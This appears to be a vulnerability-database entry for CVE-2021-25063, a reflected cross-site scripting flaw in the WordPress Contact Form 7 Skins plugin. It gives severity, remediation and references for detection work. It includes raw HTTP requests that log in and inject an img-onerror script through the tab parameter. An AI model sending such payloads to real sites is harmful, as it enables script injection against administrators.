🔙 목록으로 돌아가기

CVE-2021-25063: WordPress Contact Form 7 Skins <=2.5.0 - Cross-Site Scripting

TitleWordPress Contact Form 7 Skins <=2.5.0 - Cross-Site Scripting
AuthordhiyaneshDk
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
RemediationUpdate to the latest version of the WordPress Contact Form 7 Skins plugin (2.5.1) or apply the vendor-supplied patch.
CVSS Score6.1
EPSS Score0.01155
CVE IDCVE-2021-25063
CWE IDCWE-79
Tags cve2021 cve wpscan wordpress wp-plugin xss contactform authenticated cf7skins vuln

🔍 Vulnerability Description

WordPress Contact Form 7 Skins plugin 2.5.0 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the tab parameter before outputting it back in an admin page.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14816.131.5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=lSzFn9&pwd=rFxSz4&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:128.12) Gecko/20100101 Firefox/128.12
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25063.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25063.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A